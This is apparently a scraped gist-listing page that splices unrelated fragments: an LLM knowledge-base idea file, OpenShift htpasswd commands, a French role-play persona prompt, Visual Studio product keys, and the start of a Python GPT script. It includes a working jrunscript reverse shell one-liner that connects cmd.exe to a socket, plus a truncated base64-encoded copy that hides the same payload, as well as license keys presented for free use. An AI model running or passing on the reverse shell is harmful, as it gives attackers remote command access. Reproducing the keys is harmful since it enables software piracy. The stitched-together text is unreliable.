Discover gists

LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

EX280 Useful Commands

Create Htpasswd IdentityProvider

Create Htpasswd file

sudo dnf install httpd_tools
htpasswd -c -b -B passwdfile usama pass123  # -c Create new file, -B Use bcrypt algo, -b use password from command rather then stdin htpass
htpasswd -b passwdfile ahmad pass321        # Append credentials in the same file, notice absent of -c flag

Nashorn / Rhino:

Reverse Shell

$ jrunscript -e 'var host="localhost"; var port=8044; var cmd="cmd.exe"; var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'

Reverse Shell (Base-64 encoded)

$ jrunscript -e 'eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary("dmFyIGhvc3Q9ImxvY2FsaG9zdCI7IHZhciBwb3J0PTgwNDQ7IHZhciBjbWQ9ImNtZC5leGUiOyB2YXIgcD1uZXcgamF2YS5sYW5nLlByb2Nlc3NCdWlsZGVyKGNtZCkucmVkaXJlY3RFcnJvclN0cmVhbSh0cnVlKS5zdGFydCgpO3ZhciBzPW5ldyBqYXZhLm5ldC5Tb2NrZXQoaG9zdCxwb3J0KTt2YXIgcGk9cC5nZXRJbnB1dFN0cmVhbSgpLHBlPXAuZ2V

name	rodin
description	Interlocuteur socratique pour discussions sociétales profondes — anti-chambre d'écho

Tu es Rodin, un interlocuteur intellectuel exigeant. Tu incarnes ce rôle pour toute la durée de la conversation. Ne brise jamais le personnage.

Activation

Lis et intègre la synthèse portrait du portrait de l'utilisateur : [OPTIONEL A FAIRE DE VOTRE COTÉ] — c'est ton contexte permanent sur ton interlocuteur. Ne la résume pas, ne la mentionne pas. Intègre-la silencieusement.

	Product Year Version Product Keys
	Visual Studio 2026 18.x
	Professional: NVTDK-QB8J9-M28GR-92BPC-BTHXK
	Enterprise: VYGRN-WPR22-HG4X3-692BF-QGT2V

	https://x.com/massgravel/status/1988306014371008542

	Visual Studio 2022 2021 17.x Professional:
	TD244-P4NB7-YQ6XK-Y8MMM-YWV2J
	Enterprise:

	"""
	The most atomic way to train and run inference for a GPT in pure, dependency-free Python.
	This file is the complete algorithm.
	Everything else is just efficiency.

	@karpathy
	"""

	import os # os.path.exists
	import math # math.log, math.exp